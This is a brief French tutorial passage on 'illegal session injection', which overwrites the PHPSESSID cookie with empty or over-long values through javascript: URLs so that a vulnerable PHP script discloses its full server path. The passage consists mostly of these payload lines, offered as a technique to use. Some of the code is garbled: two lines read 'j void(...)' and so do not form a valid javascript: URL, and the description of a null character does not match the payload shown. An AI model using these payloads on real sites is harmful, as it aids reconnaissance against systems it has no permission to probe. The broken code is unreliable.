Illegal Session Injection

L'injection de session illégale est devenue possible par le changement de la valeur du cookie de session à un caractère illégale ou non valide.
Le caractère le plus commun et le plus utilisé et le caractère nul. Il y en a pleins d'autres mais c'est le caractère nul qui reste le plus commun.

Pour injecter un cookie PHPSESSID, on utilise l'injection JavaScript via la barre d'URL:

javascript: void (document.cookie = "PHPSESSID =");

ou

j void (document.cookie = "PHPSESSID =");

On obtient encore une fois le chemin complet d’accès au script vulnérable. Cette technique fonctionne aussi lorsqu’on modifie le cookie de session pour que son contenu fasse plus de 129 bytes :

j void(document.cookie='PHPSESSID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA​AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA​AA');